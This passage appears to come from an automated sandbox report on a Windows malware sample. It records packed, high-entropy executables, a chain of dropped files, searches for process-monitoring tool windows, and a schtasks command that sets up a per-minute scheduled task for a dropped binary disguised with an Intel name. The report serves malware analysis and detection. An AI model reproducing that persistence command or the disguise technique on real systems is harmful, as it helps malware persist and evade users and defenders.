Source: 2c937c98d4.exe.6.dr	Static PE information: section name: .idata
Source: 2c937c98d4.exe.6.dr	Static PE information: section name:
Source: 2c937c98d4.exe.6.dr	Static PE information: section name: rfhqlpdr
Source: 2c937c98d4.exe.6.dr	Static PE information: section name: hgmpugmh
Source: 2c937c98d4.exe.6.dr	Static PE information: section name: .taggant
Source: random[1].exe0.6.dr	Static PE information: section name:
Source: random[1].exe0.6.dr	Static PE information: section name: .idata
Source: random[1].exe0.6.dr	Static PE information: section name:
Source: random[1].exe0.6.dr	Static PE information: section name: lxqcqhrl
Source: random[1].exe0.6.dr	Static PE information: section name: tuqgsjhj
Source: random[1].exe0.6.dr	Static PE information: section name: .taggant
Source: 2ab65296fe.exe.6.dr	Static PE information: section name:
Source: 2ab65296fe.exe.6.dr	Static PE information: section name: .idata
Source: 2ab65296fe.exe.6.dr	Static PE information: section name:
Source: 2ab65296fe.exe.6.dr	Static PE information: section name: lxqcqhrl
Source: 2ab65296fe.exe.6.dr	Static PE information: section name: tuqgsjhj
Source: 2ab65296fe.exe.6.dr	Static PE information: section name: .taggant
Source: random[1].exe1.6.dr	Static PE information: section name:
Source: random[1].exe1.6.dr	Static PE information: section name: .idata
Source: random[1].exe1.6.dr	Static PE information: section name:
Source: random[1].exe1.6.dr	Static PE information: section name: vpedfbia
Source: random[1].exe1.6.dr	Static PE information: section name: fsmwrfhy
Source: random[1].exe1.6.dr	Static PE information: section name: .taggant
Source: c1be3b2878.exe.6.dr	Static PE information: section name:
Source: c1be3b2878.exe.6.dr	Static PE information: section name: .idata
Source: c1be3b2878.exe.6.dr	Static PE information: section name:
Source: c1be3b2878.exe.6.dr	Static PE information: section name: vpedfbia
Source: c1be3b2878.exe.6.dr	Static PE information: section name: fsmwrfhy
Source: c1be3b2878.exe.6.dr	Static PE information: section name: .taggant
Source: in.exe.24.dr	Static PE information: section name: UPX2
Source: Intel_PTT_EK_Recertification.exe.26.dr	Static PE information: section name: UPX2

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0090D91C push ecx; ret	0_2_0090D92F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00901359 push es; ret	0_2_0090135A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A07B6E push edi; mov dword ptr [esp], eax	0_2_00A07E06
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A07B6E push ebx; mov dword ptr [esp], 1F46E43Dh	0_2_00A07E51
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A07B6E push 53D76671h; mov dword ptr [esp], ebp	0_2_00A07E70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A07B6E push 03197864h; mov dword ptr [esp], eax	0_2_00A07E90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A07B6E push ebx; mov dword ptr [esp], 299260AEh	0_2_00A07F24
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A07B6E push 7B8CD6C3h; mov dword ptr [esp], edi	0_2_00A08032
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_001AD91C push ecx; ret	2_2_001AD92F
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_001AD91C push ecx; ret	3_2_001AD92F
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_001AD91C push ecx; ret	6_2_001AD92F
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_001ADFC6 push ecx; ret	6_2_001ADFD9
Source: C:\Users\user\AppData\Local\Temp\1016538001\2ab65296fe.exe	Code function: 7_3_000CE80E push eax; iretd	7_3_000CE81D
Source: C:\Users\user\AppData\Local\Temp\1016538001\2ab65296fe.exe	Code function: 7_3_000CE83C pushad ; ret	7_3_000CE841
Source: C:\Users\user\AppData\Local\Temp\1016538001\2ab65296fe.exe	Code function: 7_3_000CA840 push ebp; retf	7_3_000CA841
Source: C:\Users\user\AppData\Local\Temp\1016538001\2ab65296fe.exe	Code function: 7_3_000CB86D push ebx; ret	7_3_000CB864
Source: C:\Users\user\AppData\Local\Temp\1016538001\2ab65296fe.exe	Code function: 7_3_000CEE8C push es; iretd	7_3_000CEE8D
Source: C:\Users\user\AppData\Local\Temp\1016538001\2ab65296fe.exe	Code function: 7_3_000CD8A0 push 0000002Eh; iretd	7_3_000CD8A2
Source: C:\Users\user\AppData\Local\Temp\1016538001\2ab65296fe.exe	Code function: 7_3_000CA0F9 push FFFFFF82h; iretd	7_3_000CA0FB
Source: C:\Users\user\AppData\Local\Temp\1016538001\2ab65296fe.exe	Code function: 7_3_000CB70B push ebx; ret	7_3_000CB864
Source: C:\Users\user\AppData\Local\Temp\1016538001\2ab65296fe.exe	Code function: 7_3_000CEF6E push FFFFFFD2h; retf	7_3_000CEF91
Source: C:\Users\user\AppData\Local\Temp\1016538001\2ab65296fe.exe	Code function: 7_3_000C9F6A push eax; ret	7_3_000C9F75
Source: C:\Users\user\AppData\Local\Temp\1016538001\2ab65296fe.exe	Code function: 7_3_000CE586 pushad ; retf	7_3_000CE599
Source: C:\Users\user\AppData\Local\Temp\1016538001\2ab65296fe.exe	Code function: 7_3_000CEF92 push 00000038h; iretd	7_3_000CEF9D
Source: C:\Users\user\AppData\Local\Temp\1016538001\2ab65296fe.exe	Code function: 7_3_000CB1DD push eax; ret	7_3_000CB1DF

Source: file.exe	Static PE information: section name: entropy: 7.984574891462094
Source: skotes.exe.0.dr	Static PE information: section name: entropy: 7.984574891462094
Source: random[1].exe.6.dr	Static PE information: section name: entropy: 7.964759279856404
Source: random[1].exe.6.dr	Static PE information: section name: fsrfimey entropy: 7.953315584919624
Source: 716b31b09e.exe.6.dr	Static PE information: section name: entropy: 7.964759279856404
Source: 716b31b09e.exe.6.dr	Static PE information: section name: fsrfimey entropy: 7.953315584919624
Source: random[2].exe.6.dr	Static PE information: section name: rfhqlpdr entropy: 7.9567342536256245
Source: 2c937c98d4.exe.6.dr	Static PE information: section name: rfhqlpdr entropy: 7.9567342536256245
Source: random[1].exe0.6.dr	Static PE information: section name: entropy: 7.974264263934025
Source: random[1].exe0.6.dr	Static PE information: section name: lxqcqhrl entropy: 7.951698539853203
Source: 2ab65296fe.exe.6.dr	Static PE information: section name: entropy: 7.974264263934025
Source: 2ab65296fe.exe.6.dr	Static PE information: section name: lxqcqhrl entropy: 7.951698539853203
Source: random[1].exe1.6.dr	Static PE information: section name: entropy: 7.979453481461785
Source: random[1].exe1.6.dr	Static PE information: section name: vpedfbia entropy: 7.952940751916607
Source: c1be3b2878.exe.6.dr	Static PE information: section name: entropy: 7.979453481461785
Source: c1be3b2878.exe.6.dr	Static PE information: section name: vpedfbia entropy: 7.952940751916607

Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1

Persistence and Installation Behavior

Uses cmd line tools excessively to alter registry or file data

Source: C:\Windows\System32\cmd.exe	Process created: attrib.exe
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: attrib.exe
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: attrib.exe
Source: C:\Windows\System32\cmd.exe	Process created: attrib.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: attrib.exe
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: attrib.exe

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1016540001\92732722ce.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1016543001\c7d5db0fd9.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1016539001\c1be3b2878.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	File created: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[2].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1016538001\2ab65296fe.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1016540001\92732722ce.exe	File created: C:\Users\user\AppData\Local\Temp\main\7z.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1016542001\2c937c98d4.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	File created: C:\Users\user\AppData\Local\Temp\main\extracted\in.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[2].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1016541001\716b31b09e.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1016540001\92732722ce.exe	File created: C:\Users\user\AppData\Local\Temp\main\7z.exe	Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016538001\2ab65296fe.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016538001\2ab65296fe.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016538001\2ab65296fe.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016538001\2ab65296fe.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016538001\2ab65296fe.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016539001\c1be3b2878.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016539001\c1be3b2878.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016539001\c1be3b2878.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016539001\c1be3b2878.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016539001\c1be3b2878.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016539001\c1be3b2878.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016539001\c1be3b2878.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016539001\c1be3b2878.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016539001\c1be3b2878.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016541001\716b31b09e.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1016541001\716b31b09e.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1016541001\716b31b09e.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1016541001\716b31b09e.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1016541001\716b31b09e.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1016541001\716b31b09e.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1016541001\716b31b09e.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1016541001\716b31b09e.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1016542001\2c937c98d4.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1016542001\2c937c98d4.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1016542001\2c937c98d4.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1016542001\2c937c98d4.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1016542001\2c937c98d4.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1016542001\2c937c98d4.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1016542001\2c937c98d4.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1016542001\2c937c98d4.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1016542001\2c937c98d4.exe	Window searched: window name: Regmonclass

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Users\user\AppData\Local\Temp\main\in.exe

Process created: C:\Windows\System32\schtasks.exe schtasks /f /CREATE /TN "Intel_PTT_EK_Recertification" /TR "C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe" /SC MINUTE

Source: C:\Users\user\Desktop\file.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016538001\2ab65296fe.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016540001\92732722ce.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
